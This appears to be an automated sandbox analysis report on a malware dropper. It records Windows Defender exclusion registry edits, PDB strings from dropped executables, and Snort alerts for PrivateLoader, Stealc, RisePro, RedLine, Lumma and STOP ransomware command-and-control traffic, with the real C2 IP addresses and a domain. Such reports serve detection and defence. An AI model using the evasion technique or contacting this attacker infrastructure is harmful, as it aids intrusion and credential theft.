Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 78.47.123.174:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50057 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407019605.000000006669D000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\Hider.pdbaU source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdbH source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Hider.pdbpdbder.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2226589766.0000000069504000.00000002.00000001.01000000.00000021.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2217247686.0000000005C50000.00000004.08000000.00040000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004453000.00000004.00000800.00020000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004A8F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: BI6oo9z4In.exe, 00000000.00000000.1645575544.0000000140BB5000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: mozglue.pdb source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407019605.000000006669D000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: BI6oo9z4In.exe, 00000000.00000003.1748709542.0000000004E6E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747128518.00000000044FA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747567614.000000000451B000.00000004.00000020.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000000.1873942119.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2305320005.00007FF7D9569000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\Hider.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: BI6oo9z4In.exe, 00000000.00000000.1645575544.00000001409EB000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263323991.0000028B1CB30000.00000002.00000001.00040000.00000009.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2263513625.0000028B1CBDB000.00000004.00000800.00020000.00000000.sdmp, uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000000.1873497449.0000028B1AE12000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdbX source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: BI6oo9z4In.exe, 00000000.00000000.1645575544.0000000140BB5000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\Hider.pdbat source: uyMYdkI0kpEOwxO0H1smOiYQ.exe, 00000009.00000002.2300121475.0000028B35426000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdb source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2301739597.000001F7DFBD0000.00000040.00001000.00020000.00000000.sdmp, 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000003.1926277001.000001F7DFBA0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2407723697.000000006685F000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2217247686.0000000005D0A000.00000004.08000000.00040000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.00000000049C1000.00000004.00000800.00020000.00000000.sdmp, LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000002.2185945758.0000000004B4C000.00000004.00000800.00020000.00000000.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{464C24AE-42EB-46F8-AFCA-F2235D92B793}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4D3C1C92-972E-4DE3-9125-9281BC2D89FB}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00181F9C FindFirstFileExW,GetLastError,	5_2_00181F9C
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00181FBC FindFirstFileExW,	5_2_00181FBC
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00674253 FindFirstFileExW,	6_2_00674253

Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.4:49730 -> 85.192.56.26:80
Source: Traffic	Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.4:49804 -> 85.192.56.26:80
Source: Traffic	Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.4:49805 -> 85.192.56.26:80
Source: Traffic	Snort IDS: 2839238 ETPRO TROJAN Blackmoon CnC Activity 192.168.2.4:49807 -> 103.146.158.221:80
Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49809 -> 185.172.128.170:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49809 -> 185.172.128.170:80
Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49813 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 185.172.128.170:80 -> 192.168.2.4:49809
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49809 -> 185.172.128.170:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 185.172.128.170:80 -> 192.168.2.4:49809
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.65.116:50500 -> 192.168.2.4:49814
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49813
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.65.116:50500 -> 192.168.2.4:49815
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.67.8:50500 -> 192.168.2.4:49813
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49814 -> 5.42.65.116:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49815 -> 5.42.65.116:50500
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49813 -> 5.42.67.8:50500
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.65.116:50500 -> 192.168.2.4:49814
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.126:58709 -> 192.168.2.4:49822
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.126:58709 -> 192.168.2.4:49822
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 5.42.65.116:50500 -> 192.168.2.4:49815
Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.4:49835 -> 5.42.65.115:40551
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.4:49835 -> 5.42.65.115:40551
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49822 -> 147.45.47.126:58709
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 5.42.65.115:40551 -> 192.168.2.4:49835
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 5.42.65.115:40551 -> 192.168.2.4:49835
Source: Traffic	Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.4:49866 -> 5.42.66.10:80
Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:54425 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49873 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49876 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.126:58709 -> 192.168.2.4:49879
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49881 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49882 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49886 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49890 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49892 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.126:58709 -> 192.168.2.4:49879
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49893 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49896 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49897 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49899 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49902 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49903 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:50816 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49904 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.126:58709 -> 192.168.2.4:49907
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.126:58709 -> 192.168.2.4:49907
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49909 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 147.45.47.126:58709 -> 192.168.2.4:49908
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 147.45.47.126:58709 -> 192.168.2.4:49908
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49914 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49922 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49910 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49913 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49925 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49879 -> 147.45.47.126:58709
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49926 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49907 -> 147.45.47.126:58709
Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:64208 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49908 -> 147.45.47.126:58709
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49930 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49937 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49935 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49940 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49942 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49945 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49947 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 5.42.67.8:50500 -> 192.168.2.4:49946
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49949 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49950 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49952 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49953 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052761 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (employhabragaomlsp .shop) 192.168.2.4:57884 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49954 -> 188.114.97.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49956 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49957 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49959 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49961 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49960 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49963 -> 125.7.253.10:80
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49962 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49964 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49965 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49966 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49967 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49968 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 125.7.253.10:80 -> 192.168.2.4:49963
Source: Traffic	Snort IDS: 2052775 ET TROJAN Observed Lumma Stealer Related Domain (employhabragaomlsp .shop in TLS SNI) 192.168.2.4:49970 -> 188.114.96.3:443
